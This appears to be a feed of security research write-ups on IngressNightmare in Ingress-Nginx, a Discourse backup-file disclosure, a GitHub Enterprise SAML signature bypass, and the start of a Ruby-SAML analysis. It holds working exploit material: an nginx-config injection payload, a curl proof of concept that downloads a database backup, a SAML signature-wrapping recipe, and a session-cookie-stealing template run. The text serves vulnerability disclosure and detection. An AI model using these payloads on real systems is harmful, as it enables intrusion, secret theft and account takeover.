"annotations": {
"nginx.ingress.kubernetes.io/rewrite-target": "/",
"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /path/to/shared-library.so;events {\nserver { location /aa { #"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.local",
"http": {
"paths": [
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
The key part of this payload is the auth-url annotation, which contains the NGINX configuration injection.
In parallel, the attacker needs to upload a malicious shared library to the pod’s filesystem. This can be done by sending a specially crafted HTTP request to the NGINX instance running in the same pod:
ssl_engine directiveWhen the admission controller processes the malicious ingress object, it will:
nginx -tssl_engine directive will load the malicious shared libraryTo help security teams identify vulnerable Ingress-Nginx Controller deployments in their environments, we’ve write Nuclei templates for both external and internal testing. These templates can be used to detect the presence of CVE-2025-1974 in your Kubernetes clusters.
This template is designed to detect vulnerable Ingress-Nginx admission controllers that are exposed to the internet. It works by sending a crafted admission review request and analyzing the response.
Nuclei Template to detect **CVE-2025-1974 - **CVE Scan URL
id: CVE-2025-1974
info:
name: Ingress-Nginx Controller - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
A security issue was discovered in ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
impact: |
Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
remediation: |
Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
- https://nvd.nist.gov/vuln/detail/CVE-2025-1974
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-653
cve-id: CVE-2025-1974
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s
http:
- raw:
- |
POST / HTTP/1.1
Host:
Content-Type: application/json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "",
"http": {
"paths": [
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'directive is not allowed here'
- 'load_module'
condition: and
pwnmachine@PD ~ % nuclei -t CVE-2025-1974.yaml -u "https://<redacted>:8443"
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.10
projectdiscovery.io
[INF] Current nuclei version: v3.3.10 (latest)
[INF] Current nuclei-templates version: v10.1.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 281
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-1974] [http] [critical] https://<redacted>:8443
Template Breakdown:
Sending a POST request to the target host with a specially crafted AdmissionReview JSON payload
load_module directive that tries to load a random file on the filesystem.This template is particularly useful for identifying externally exposed admission controllers that could be targeted by attackers.
The following template is to be run from within a Kubernetes cluster. This can come in handy along with other Kubernetes Cluster Security templates during Kubernetes configuration review engagements.
It checks for vulnerable versions of the Ingress-Nginx controller by examining the container images used in the deployment.
id: CVE-2025-1974-k8s
info:
name: Ingress-Nginx Controller - Unauthenticated Remote Code Execution
author: princechaddha
severity: critical
description: A security issue was discovered in ingress-nginx where some Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
impact: |
Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
remediation: |
Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
-
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
flow: |
code(1) ;
for (let pod of template.items) {
set("pod", pod)
javascript(1);
}
self-contained: true
code:
- engine:
- sh
- bash
source: kubectl get pods -n ingress-nginx -l app.kubernetes.io/component=controller -o json
extractors:
- type: json
name: items
internal: true
json:
- '.items[]'
javascript:
- code: |
let podData = JSON.parse(template.pod);
const container = podData.spec.containers.find(c => c.name === 'controller');
if (container && container.image) {
const imageTag = container.image.split(':')[1];
if (imageTag) {
const version = imageTag.split('@')[0].replace(/^v/, '');
const [major, minor, patch] = version.split('.').map(v => parseInt(v, 10));
if ((major === 1 && minor === 11 && patch < 5) ||
(major === 1 && minor === 12 && patch === 0) ||
(major === 1 && minor < 11) ||
(major === 1 && minor === 9 && patch <= 3)) {
let result = (`Ingress-Nginx controller in namespace '${podData.metadata.namespace}' is running vulnerable version ${version}. Update to v1.12.1+ or v1.11.5+`);
Export(result);
}
}
}
extractors:
- type: dsl
dsl:
- response
pwnmachine@PD ~ % nuclei -t CVE-2025-1974-k8s.yaml -code
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.10
projectdiscovery.io
[INF] Current nuclei version: v3.3.10 (latest)
[INF] Current nuclei-templates version: v10.1.5 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from a
[CVE-2025-1974-k8s] [javascript] [critical] ["Ingress-Nginx controller in namespace 'ingress-nginx' is running vulnerable version 1.9.3. Update to v1.12.1+ or v1.11.5+"]
Template Breakdown:
kubectl to get all pods in the ingress-nginx namespace with the label app.kubernetes.io/component=controllerThis template is particularly useful for security teams conducting internal audits of their Kubernetes environments.
You can check out the blog below if you’d like to learn more about the above template along with our other Kubernetes cluster security templates.
To use these templates with Nuclei:
nuclei -t CVE-2025-1974.yaml -u https://admission-controller-endpoint
kubectl and configure its contexts or specific access permissions. We need to sign the template before running it, as it’s a code-based template and requires signing to prevent the execution of untrusted external code.nuclei -id CVE-2025-1974-k8s.yaml -sign
nuclei -id CVE-2025-1974-k8s.yaml -code
It’s important to note that the internal template requires kubectl access to your cluster with appropriate permissions, while the external template can be run from anywhere with network access to the target.
We strongly recommend the following actions to mitigate the risk of this vulnerability:
The IngressNightmare vulnerability (CVE-2025-1974) represents one of the most significant security threats to Kubernetes environments in recent years. This critical unauthenticated remote code execution vulnerability in the Ingress-Nginx Controller can lead to complete cluster takeover, with attackers gaining access to all secrets across namespaces.
This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to automatically scan for this vulnerability as part of their continuous security assessments.
]]>Note - This is cross post from our work at Projectdiscovery Blog
Modern web applications rely on middleware and web server configurations to efficiently handle file delivery while maintaining security. In the Ruby ecosystem, the send_file method in Rack and Rails is a widely used mechanism that can offload file serving to web servers like Nginx and Apache, improving performance and scalability. However, when used in conjunction with Nginx’s internal directive, a feature designed to restrict access to sensitive resources, unexpected security flaws can emerge.
In this blog, we explore a subtle yet impactful interaction between Rack/Rails and Nginx that can inadvertently expose restricted endpoints. Specifically, we examine how the send_file method, when paired with certain Nginx configurations, can bypass access controls under specific conditions, turning a security feature into a potential attack vector.
To highlight the real-world implications, we analyze Discourse, a popular Rails-based forum platform. We demonstrate how predictable backup file naming patterns, combined with this send_file behavior and a particular Nginx setup, can unintentionally expose sensitive data—such as Discourse database backups—posing a serious risk to affected deployments. This vulnerability has been assigned CVE-2024-53991.
The X-Accel-Redirect header in Nginx enables controlled access to internal resources by leveraging specially designated location blocks. These location blocks are marked with the internal directive, which restricts them from being directly accessed by external clients.
The internal directive of Nginx is used to specify that a particular location block should only process requests generated by Nginx itself. This does not mean requests originating from localhost or specific IP addresses—it specifically refers to requests initiated internally by Nginx as a result of its processing logic.
Only requests generated by Nginx during its handling of another request (e.g., due to request rewrite or via the X-Accel-Redirect header) can access the internal location.
The X-Accel-Redirect header is a mechanism for Nginx to route an incoming request to an internal location block. When Nginx encounters this header in a response from an upstream server (e.g., a web application or backend), it interprets the header’s value as the new URI and internally redirects the request to that URI. If the target URI corresponds to an internal location, the resources in that location can now be served.
An example configuration would be:
location ~ /files/(.*) {
internal;
alias /var/www/$1;
}
Example flow of requests:
/download./download endpoint is handled by an upstream server (e.g., a backend application) that processes the request and returns a response with the header:X-Accel-Redirect: /files/example.txt
/files/example.txt.~ /files/(.*) block is triggered, allowing Nginx to serve the file /var/www/example.txt from the filesystem.We were reviewing web frameworks that utilize X-Sendfile or X-Accel-Redirect headers in their file-serving functions to enable optimized file handling through web servers like Nginx or Apache.
One of the frameworks we analyzed was Rack, specifically its send_file function, which incorporates these headers for efficient file delivery. Since Rack middleware is a core component of Rails, we also examined its implementation in detail. During this review, we identified a notable issue—or perhaps a quirk.
Here’s how the implementaiton for the same looks like:
class Sendfile
def initialize(app, variation = nil, mappings = [])
...
@mappings = mappings.map do |internal, external|
[/^#{internal}/i, external]
end
end
def call(env)
_, headers, body = response = @app.call(env)
if body.respond_to?(:to_path)
case type = variation(env) # value of x-sendfile-type header
when /x-accel-redirect/i # [1]
path = ::File.expand_path(body.to_path) // expand the full path to the file.
if url = map_accel_path(env, path)
headers[CONTENT_LENGTH] = '0'
# '?' must be percent-encoded because it is not query string but a part of path
headers[type.downcase] = ::Rack::Utils.escape_path(url).gsub('?', '%3F') # [3]
obody = body
response[2] = Rack::BodyProxy.new([]) do
obody.close if obody.respond_to?(:close)
end
else
env[RACK_ERRORS].puts "x-accel-mapping header missing"
end
...
when '', nil
else
env[RACK_ERRORS].puts "Unknown x-sendfile variation: '#{type}'.\n"
end
end
response
end
private
def variation(env)
@variation ||
env['sendfile.type'] ||
env['HTTP_X_SENDFILE_TYPE']
end
end
Rack handles this by inspecting the value of the X-Sendfile-Type request header. At [1] in the implementation, if the header’s value is x-accel-redirect, the code logic proceeds to retrieve the full path to the file on the filesystem using body.to_path. It then calls the map_accel_path method to translate this filesystem path into an URL suitable for use with Nginx.
def map_accel_path(env, path)
if mapping = @mappings.find { |internal, _| internal =~ path }
path.sub(*mapping)
elsif mapping = env['HTTP_X_ACCEL_MAPPING']
mapping.split(',').map(&:strip).each do |m|
internal, external = m.split('=', 2).map(&:strip)
new_path = path.sub(/^#{internal}/i, external) # [2]
return new_path unless path == new_path
end
path
end
end
In the map_accel_path method, Rack processes another request header, X-Accel-Mapping. The value of this header is split at the = character, where the first part becomes the internal filesystem path and the second part becomes the external path. Rack then uses a regular expression substitution at [2] to replace the internal portion of the file’s full filesystem path with the corresponding external nginx location path.
The newly substituted path (or URL) is then used to set the X-Accel-Redirect response header. This header is intercepted by Nginx, which makes an internal request to the mapped URL and serves the corresponding file to the client, bypassing direct access to the original file path on the server.
Example:
If the following header is present, x-accel-mapping: .*=/secret, full path of the request file matched by /^.*/ will be replaced with /secret at line [2]. Then, at line [3], the value of x-accel-redirect response header is set to this new value /secret . Once, this is done, Nginx will automatically make an internal request to /secret endpoint and will respond back.
Therefore, the pre-requisite for this misconfiguration to be exploitable would be:
send_file or Rack’s Rack::Sendfile method is used.internal directive that leaks something sensitive.Discourse, a popular Ruby on Rails-based community discussion platform, uses the send_file method in various parts of its application to serve files efficiently. During our review, we explored potential unauthenticated routes utilizing send_file, as well as the default Nginx configuration provided by Discourse, to identify any potential misconfigurations.
While analyzing the source code, we found that the StylesheetsController uses the send_file method to serve CSS files. At first glance, this controller appeared interesting because it skips several authentication checks:
class StylesheetsController < ApplicationController
skip_before_action :preload_json,
:redirect_to_login_if_required,
:redirect_to_profile_if_required,
:check_xhr,
:verify_authenticity_token,
only: %i[show show_source_map color_scheme]
before_action :apply_cdn_headers, only: %i[show show_source_map color_scheme]
...
def show
is_asset_path
show_resource # [4]
end
protected
def show_resource(source_map: false)
...
send_file(location, disposition: :inline) # [5]
end
end
As seen above, the show action skips authentication checks, allowing unauthenticated users to access it. The show_resource method ultimately calls send_file at [5] to serve files, making this a potential candidate for file disclosure.
We reviewed Discourse’s default Nginx configuration to identify any sensitive or interesting configurations. Discourse places its backups directory within the Rails public directory, which is globally accessible. This directory holds Discourse’s database backups and is highly sensitive. However, the default Nginx configuration prevents direct access to the backups using the internal directive, which restricts the /backups/ route:
# Path to Discourse's public directory
set $public /var/www/discourse/public;
# Prevent direct download of backups
location ^~ /backups/ {
internal;
}
# Another internal route mapped to the public directory
location /downloads/ {
internal;
alias $public/;
}
This satisfies the prerequisite for exploiting file disclosure: an Nginx configuration with internal directives protecting sensitive directories.
Exploiting Backup File Disclosure
While the Nginx configuration prevents direct access to backups, Discourse’s use of Rails’ send_file method for file-serving combined with predictable backup file naming conventions can still allow attackers to leak backup files. The second requirement for exploitation is the ability to bruteforce backup file names efficiently. Based on Discourse’s default behavior and naming patterns, backup file names can be derived using the following logic:
<site-name>-YYYY-MM-DD-HHMMSS-v<Migration_Stamp>.tar.gz
Proof of Concept:
curl -k -o db.tar.gz -H ‘X-Sendfile-Type: X-Accel-Redirect’ -H ‘X-Accel-Mapping: .*=/downloads/backups/default/projectdiscovery-discourse-2024-11-15-002501-v20241112145744.tar.gz’ -H ‘Cache-Control: max-age=0’ ‘https://discourse.projectdiscovery.io/stylesheets/discourse-local-dates_2395204b3c92cea17bdcc4e554cc7d12e032b555.css?cb=1’
The Nuclei template used to detect this vulnerability is available on GitHub and the ProjectDiscovery Platform.
Platform URL: https://cloud.projectdiscovery.io/?template=CVE-2024-53991 GitHub PR: https://github.com/projectdiscovery/nuclei-templates/pull/11773
id: CVE-2024-53991
info:
name: Discourse Backup File Disclosure Via Default Nginx Configuration
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
remediation: |
This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or 2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
reference:
- https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
- https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-53991
cwe-id: CWE-200
epss-score: 0.00121
epss-percentile: 0.28736
metadata:
shodan-query: http.component:"Discourse"
tags: cve,cve2024,discourse,disclosure
http:
- raw:
- |
GET / HTTP/1.1
Host:
extractors:
- type: regex
part: body
name: styles
group: 1
regex:
- 'href="(/stylesheets/discourse-.*?)"'
internal: true
- raw:
- |
GET &cachebuster= HTTP/1.1
Host:
X-Sendfile-Type: X-Accel-Redirect
X-Accel-Mapping: .*=/downloads/backups/default/
matchers:
- type: dsl
dsl:
- 'status_code == 403'
- 'contains(content_type, "text/html")'
- 'contains(response, "discourse")'
condition: and
| Date | Event |
|---|---|
| 17th November 2024 | ProjectDiscovery discovers the misconfiguration and responsibly reported it to the Discourse team. |
| 25th November 2024 | Discourse team triaged the report and acknowledged the issue. |
| 19th December 2024 | The vulnerability was marked as resolved by the Discourse team. |
| 20th March 2025 | After the standard 90-day disclosure period, the blog post with vulnerability details was publicly disclosed. |
This case study highlights how seemingly robust security mechanisms can introduce unintended vulnerabilities when their interactions are not fully understood. The combination of Rack’s send_file method and Nginx’s internal directive serves as a reminder that security is not just about enabling protective measures but ensuring they are configured correctly to prevent unintended access.
To help security teams identify and mitigate this issue in their Discourse deployment, we have created a Nuclei template that automates the detection of misconfigurations leading to file exposure. This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.
]]>Note - This is cross post from our work at Projectdiscovery Blog
In light of the recent Ruby-SAML bypass discovered in GitLab, we set out to examine the SAML implementation within GitHub Enterprise. During our research, we identified a significant vulnerability that enabled bypassing GitHub’s SAML authentication when encrypted assertions were in use.
This blog post will provide an in-depth look at GitHub Enterprise’s SAML implementation and analyze the specific code issue that permitted this bypass. Although we uncovered this vulnerability independently, it was reported to GitHub just two days prior to our findings. GitHub has since released a patch to address the flaw, though initial fixes required additional updates to be fully effective. This issue is now cataloged under CVE-2024-9487 and CVE-2024-4985.
HIGH: An attacker could bypass SAML single sign-on (SSO) authentication with the optional encrypted assertions feature, allowing unauthorized provisioning of users and access to the instance, by exploiting an improper verification of cryptographic signatures vulnerability in GitHub Enterprise Server. This is a follow up fix for CVE-2024-9487 to further harden the encrypted assertions feature against this type of attack.
Let’s see how GitHub handles document extraction, signature validation, and the security measures in place. We’ll spin up a GitHub instance and set up the SAML configuration. In this process, the SAML callback validates the CSRF token (RelayState), which is unique to each state and SAML response. This makes it difficult to test and debug.
To bypass this challenge, we’ll use the Ruby code responsible for SAML handling locally. The SAML implementation resides in ./lib/saml/ (and in ./lib/saml.rb). We’ll patch this library to work in our local environment by:
validate_conditions to bypass time-based verification checks.require_relative within ./lib/saml.rb to load the necessary files locally../saml to link the components together.Let’s start with this code to mimic GitHub SAML implementation locally:
require "./saml"
require "base64"
require 'openssl'
key = File.open('/tmp/github_saml.pem').read() #Github SAML SP's private key (used here to decypt stuff since we want to mimic the whole flow)
cert = <<-CERT
cert_here
CERT
@props = {
:sp_url => "https://[REDACTED_IP_ADDRESS]",
:sso_url => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml",
:assertion_consumer_service_url => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml",
:destination => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml",
:issuer => "http://www.okta.com/[REDACTED]",
:signature_method => "http://www.w3.org/2000/09/xmldsig#rsa-sha1",
:digest_method => "http://www.w3.org/2000/09/xmldsig#sha1",
:idp_certificate => cert
}
key1 = OpenSSL::PKey::RSA.new(key)
@prop1 = {:encrypted_assertions => true, :encryption_method => "aes-256-cbc", :key_transport_method => "rsa-oaep", :key => key1}
saml_resp = Base64.encode64(File.open('resp.xml').read())
xml = ::SAML::Message::Response.from_param(saml_resp, @prop1) [1]
puts "Signature verified: " + String(xml.valid?(@props)) [2]
puts "NameID Email - " + xml.name_id
Let’s begin with a sample valid SAML response. Below is a simplified version of the response structure:
<samlp:Response ID="123">
<ds:Signature>
<ds:SignedInfo>
<ds:Refernce URI="#123"></ds:Refernce>
</ds:SignedInfo>
</ds:Signature>
<saml:EncryptedAssertion>
enc assertion here
</saml:EncryptedAssertion>
</samlp:Response>
When we call from_param it does this:
build() – This method extracts signatures before attempting decryption.
decrypt() – If the message is encrypted, it decrypts the content.
parse() – This method processes the message information, specifically extracting details from the /samlp:Response/saml:Assertion block. Returns Message.Within Message.rb, the build method performs signature extraction if GitHub encrypted assertions are enabled at point [1]. If no signatures were extracted prior to decryption, the method attempts to extract signatures again after decryption at point [2]. But only if no signatures were extracted earlier.
def self.build(xml, options = {})
if GitHub.enterprise? && GitHub.saml_encrypted_assertions?
signatures = message_class.signatures(doc) # [1]
decrypt_errors = []
plain_doc = message_class.decrypt(doc, options, decrypt_errors)
signatures = message_class.signatures(plain_doc) if signatures.empty? # [2]
...
end
end
Next step is to decrypt the encrypted assertion and replace that node with the decrypted assertion.
The next step is to duplicate the entire SAML response document. On this duplicated document, we will replace the encrypted assertion with the decrypted version. This results in a SAML response where the encrypted assertion is removed, and the decrypted assertion takes its place in the duplicated document. However, only one signature will be extracted.
<Response ID="123">
<Signature> // [1]
<SignedInfo>
<Refernce URI="#123"></Refernce>
</SignedInfo>
</Signature>
<Assertion ID="789">
<Signature> // [2]
<SignedInfo>
<Refernce URI="#789"></Refernce>
</SignedInfo>
</Signature>
</Assertion>
</Response>
This is okay since the one signature it has is of whole response so when it validates that signature, it will pass the whole original response (with encrypted assertion) and it would work and pass signature validation as expected. We’ll discuss later how this can create potential issues, but for now, let’s continue following the logical flow. After the decryption step, it returns a Message object containing the decrypted assertions.
GitHub’s valid? function essentially aims to keep the flow error-free. If an error occurs at any point during the process, it is appended to an error variable. Once all the checks are completed, the function inspects the error variable. If it is not empty, the validation fails.
These are the main functions we want to bypass:
valid?
vaidate_schema()validate()
validate_has_signature
has_root_sig_and_matching_ref?OR // you need to return true in oneall_assertions_signed_with_matching_ref?validate_assertion_digest_valuesvalidate_signatures_ghes
signatures.all? { |signature| signature.valid?(certificate) }Let’s examine the validate_has_signature method:
This validation checks if there is a signature outside the assertion block that matches the root (Response) ID. Meaning that the entire response is considered signed, and the function returns true.
However, if no such signature exists, the method ensures that every assertion block within the document contains its own signature. In this case, the signature’s reference must match the parent assertion’s ID. This additional check is crucial to prevent signature wrapping attacks, where an attacker could attempt to insert malicious assertions into the document by manipulating signatures.
# Validate that the SAML message (root XML element of SAML response)
# or all contained assertions are signed
#
# Verification of signatures is done in #validate_signatures
def validate_has_signature
# Return early if entire response is signed. This prevents individual
# assertions from being tampered because any change in the response
# would invalidate the entire response.
return if has_root_sig_and_matching_ref?
return if all_assertions_signed_with_matching_ref?
self.errors << "SAML Response is not signed or has been modified."
end
def has_root_sig_and_matching_ref?
return true if SAML.mocked[:mock_root_sig]
root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
return false unless root_ref
root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
return false unless root_ref_uri.length > 1
root_rep = document.at("/saml2p:Response", namespaces)
root_id = String(root_rep["ID"])
# and finally does the root ref URI match the root ID?
root_ref_uri == root_id
end
def all_assertions_signed_with_matching_ref?
assertions = document.xpath("//saml2:Assertion", namespaces)
assertions.all? do |assertion|
ref = assertion.at("./ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
return false unless ref
assertion_id = String(assertion["ID"])
ref_uri = String(String(ref["URI"])[1..-1]) # chop off leading #
return false unless ref_uri.length > 1
ref_uri == assertion_id
end
end
Next, the validate_assertion_digest_values function ensures that the digest value of each assertion matches the DigestValue found in the reference node of the corresponding signature. This step verifies only digests and not the signature, that step will happen afterwards via the xmldsig library.
Finally, the validate_signatures_ghes function calls .valid? on each signature extracted during the build() process. The library used for this validation is benoist/xmldsig.
The core logic of .valid? is as follows:
The issue arises, as mentioned earlier, when a signature is found in the response before decrypting an encrypted assertion. The second signature, inside the assertion block, is not accounted for. Even though assertions are required to have a signature, and the signature reference should point to the assertion’s ID (with the digest being validated), the signature itself is never validated.
Now, if we can somehow bypass both validate_has_signature and validate_assertion_digest_values, we can reach the xmldsig validation.
Here’s how we can do that:
<ds:Object></ds:Object> just after the </ds:KeyInfo>./samlp:Response and paste it inside <ds:Object>{here}</ds:Object>/samlp:Responses ID attribute to anything different. Here we are making sure both Reference node URI are pointing to the legit Response element with valid signature (that we moved to ds:Object).validate_has_signatures.<Response ID="11111111">
<Signature>
<SignedInfo>
<Refernce URI="#123"></Refernce>
</SignedInfo>
<Object>
<Response ID="123">
<Signature>
<SignedInfo>
<Refernce URI="#123"></Refernce>
</SignedInfo>
</Signature>
<Assertion ID="789">
<Signature>
<SignedInfo>
<Refernce URI="#789"></Refernce>
</SignedInfo>
</Signature>
</Assertion>
</Response>
</Object>
</Signature>
---- THIS WILL BE ENCRYPTED ----
<Assertion ID="789">
<Signature>
<SignedInfo>
<Refernce URI="#789"></Refernce>
</SignedInfo>
</Signature>
</Assertion>
---- THIS WILL BE ENCRYPTED ----
</Response>

We’ve created two Nuclei templates for detecting and exploiting CVE-2024-9487 on GitHub Enterprise:
This template detects GitHub Enterprise Server using SAML authentication with encrypted assertions enabled.
This template bypass GitHub SAML authentication and extract the GitHub session cookie.
To run the CVE-2024-9487 template, use the following command, adjusting the inputs as needed:
nuclei -t CVE-2024-9487.yaml -u https://git.projectdiscovery.io -var username='[email protected]' -var metadata_url='https://git.projectdiscovery.io/sso/saml/metadata' -var SAMLResponse=`cat saml_response.txt` -var RelayState='xyz' -code
Input Options:
• -var username: Target GitHub user’s email (e.g., [email protected]).
• -var metadata_url: SAML metadata URL of the IDP server.
• -var SAMLResponse: Encrypted SAML response sent by the Identity Provider (IdP) after a login attempt. You can capture this value by starting a login on the target GitHub server and using browser developer tools (Network tab) or tools like Burp Suite to find SAMLResponse in the network requests. Save it in a file (e.g., saml_response.txt) to load easily.
• -var RelayState: This is a unique value sent with SAMLResponse to maintain the session context. You can find the exact RelayState by observing it in your login request traffic, as shown in the video PoC.
nuclei -t CVE-2024-9487.yaml -u https://git.projectdiscovery.io -var username='[email protected]' -var metadata_url='https://idp.projectdiscovery.io/sso/saml/metadata' -var SAMLResponse=`cat saml_response.txt` -var RelayState='xyz' -code
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.4
projectdiscovery.io
[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.2 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 68
[INF] Templates loaded for current scan:
[INF] Targets loaded for current scan: 1
[CVE-2024-9487] [http] [critical] https://git.projectdiscovery.io/saml/consume ["cookie-l-redacted"]
We’ve also recorded a video demonstrating the SAML authentication bypass on GitHub when encrypted assertions are enabled, showcasing the step-by-step process and impact.
Your browser does not support the video tag.
In this blog post, we explored the GitHub Enterprise implementation of SAML authentication and uncovered a vulnerability involving encrypted assertions. By understanding the intricacies of signature validation and how improperly handled encrypted assertions can introduce security risks, we demonstrated how an attacker could potentially bypass GitHub’s SAML authentication.
As always, staying vigilant and promptly applying security updates is critical to safeguarding on-prem environments.
By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
]]>Note - This is cross post from our work at Projectdiscovery Blog
In this blog post, we will analyze CVE-2024-45409, a critical vulnerability impacting Ruby-SAML, OmniAuth-SAML libraries, which effectively affects GitLab. This vulnerability allows an attacker to bypass SAML authentication mechanisms and gain unauthorized access by exploiting a flaw in how SAML responses are handled. The issue arises due to weaknesses in the verification of the digital signature used to protect SAML assertions, allowing attackers to manipulate the SAML response and bypass critical security checks.
SAML is a widely used protocol for exchanging authentication and authorization data between identity providers (IdPs) and service providers (SPs). A crucial part of ensuring the security of this exchange is verifying the integrity and authenticity of the data through digital signatures and digest verification.
In this section, we will first explain how SAML signature and digest verification work, and then explore a bypass found in Ruby-SAML that can be exploited to circumvent the signature validation.
In a typical SAML response, an Assertion element holds critical security information, such as the authenticated user’s details. To ensure that this information has not been tampered with, it is digitally signed.
1. Assertion Element and Digest Calculation
The Assertion element contains security credentials, and the integrity of this element is protected by calculating a digest (a hash) of the canonicalized content of the assertion. The Signature node is removed from the Assertion before this digest is computed. This digest is then included in the SignedInfo block of the signature element.
2. Signature Element and SignedInfo Block
The Signature element includes a SignedInfo block, which contains:
Once the digest is included in the SignedInfo block, the entire SignedInfo is signed using the IdP’s private key, and the result is placed in the SignatureValue element.
Here’s a simplified XML example of the structure:
<Assertion ID="_abc123">
<Signature>
<SignedInfo>
<Reference URI="#_abc123">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>abc123DigestValue</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SignedWithPrivateKey</SignatureValue>
</Signature>
<!-- Assertion contents -->
</Assertion>
Any modification to the Assertion will alter its digest value. However, since the SignedInfo element contains the original digest value and is signed with the IdP’s private key, an attacker cannot alter the SignedInfo block without invalidating the signature. This mechanism ensures that unauthorized changes to the assertion are detected when the service provider (SP) verifies the response.
Signature Verification Process
When the service provider (SP) receives a SAML response, it performs two crucial checks:
Digest Verification: The SP calculates the digest of the Assertion (after removing the Signature node) and compares it with the DigestValue present in the SignedInfo block. If the digests do not match, the assertion has been tampered with.
Signature Verification: The SP uses the IdP’s public key to verify the signature on the SignedInfo block. If the signature is valid, it confirms that the IdP signed the message and that it hasn’t been modified.
In the Ruby-SAML library, several validations occur before the actual signature validation, including schema validations and checks on the number of assertions. However, a specific vulnerability arises due to how XPath is used to extract certain elements during validation.
XPATH Refresher:
